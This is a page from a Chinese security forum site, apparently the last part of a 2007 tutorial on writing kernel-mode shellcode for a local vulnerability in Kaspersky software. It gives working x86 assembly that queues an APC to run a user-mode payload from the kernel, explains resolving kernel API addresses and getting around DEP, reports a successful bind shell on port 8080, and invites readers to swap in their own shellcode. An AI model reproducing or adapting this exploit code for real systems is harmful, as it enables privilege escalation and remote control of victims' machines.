通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络编程 >> 文章正文
推荐:从卡巴漏洞管窥内核模式Shellcode的编写
责任编辑:酷酷の鱼   更新日期:2007-12-18
 


/* 要通过APC机制激活Ring3下的线程需要该线程处于"Alertable Wait State",当且仅当该线程调用过以下函数并且bAlertable这个标志被设置为True的时候才会使其处于Wait状态:SleepEx, WaitForSingleObjectEx,SignalObjectAndWait,MsgWaitForMultipleObjectsEx*/
mov ecx,dword ptr[ebx+0x190]
finddelay:
mov ecx,[ecx]
cmp byte ptr[ecx-0x1ff],0x5 //1ff 指向该线程的状态 - state 0x5=wait
jnz finddelay //循环查找所有线程

sub ecx,0x22c
mov ebp,ecx

push 0x30 //APC结构体的大小
push 0 //Nonpage申请不分页的内存
mov eax,ExAllocatePool //ExAllocatePool申请内存
call eax //call ExAllocatePool

mov esi,eax
xor edx,edx
push edx //NULL
push 01 //UserMode
push eax //User Mode routine
push edx //NULL
mov eax,ZwYieldExecution //kernel routine ret
push eax //Kernel Mode routine
push edx //NULL
push ebp //前面找到线程的ETHREAD
push esi //APC object
mov eax,KeInitializeApc //initialize APC
call eax

xor ecx,ecx
xor edx,edx
xor eax,eax
push eax
push eax
push ebp //ETHREAD
push esi //APC Object
mov eax,KeInsertQueueApc
call eax

mov byte ptr[ebp+0x4a],0x1

push offset DelayTime
push 0
push 0
mov eax,KeDelayExecutionThread //使该线程进入睡眠状态
call eax

NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
}
}
因为这个漏洞是本地溢出,所以获得上述用到的API要简单的多,可以通过在触发漏洞前通过在用户态下LoadLibrary(ntkrnlpa),获得函数的偏移量+内核模块ntkrnlpa的基址的方法获得:
ExAllocatePool=(DWORD)GetProcAddress(base,"ExAllocatePool");
ExAllocatePool=(DWORD)((DWORD)ExAllocatePool - (DWORD)base+(DWORD)kbase);
内核模块ntkrnlpa的基址可以调用本机API NtQuerySystemInformation获得,也可以通过其它方法获得。如果是远程溢出的话就稍微要麻烦一点,需要找到ntkrnlpa的基址,分析其导出表来获得上述API函数的地址。原作者将类似ExAllocatePool这些变量都定义成int*型变量,在上述的计算中会导致某些 API获得的地址不准确,让我蓝了很多次,后来在WinDBG下一调试,发现原来是函数的地址获得不对,郁闷啊。不知道是不是编译器不同产生的问题。另外在测试的时候有一点要注意,需要关闭DEP,如图1:

图1
DEP 是数据执行保护,是XP SP2以后新推出的东西,也不知道为什么代码在7FFE0000它也会拦截,可能微软早就对这一区域作出了防范,也没有仔细去研究,当然,可以提前 OpenProcess,再VitrualAllocEx申请某个地址的内存来绕过DEP,假如是远程溢出的话可能就比较麻烦了,有兴趣的读者可以试一下。再运行了kis.exe之后稍等片刻,可以看到我们的绑定cmd到8080端口的Shellcode已经成功执行了,如图2:

图2

总结
这是我第一次尝试写内核Exploit,前后大概调试了三四天,在Kernel的世界里,一个小小的错误都会导致蓝屏,害得我现在看到蓝屏就感到反胃,哈哈。这种通过Kernel Loader来执行Shellcode的方式是目前主流也是比较方便的一种实现,读者可以替换PoC中的Shellcode来实现自己想要的功能。对于传统的应用程序安全,大家都已经研究的比较透,而在Ring3下的一些软件安全问题到了Ring0下还是存在的,还没有引起大家足够的重视。这一块相对来说也可以算一个比较新的领域,在未来可能成为又一个研究热点。
文章也写的比较仓促,错误疏漏在所难免,敬请广大读者指正,有任何问题来我的博客留言:http://www.gyzy.org

上一页  [1] [2] [3] 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题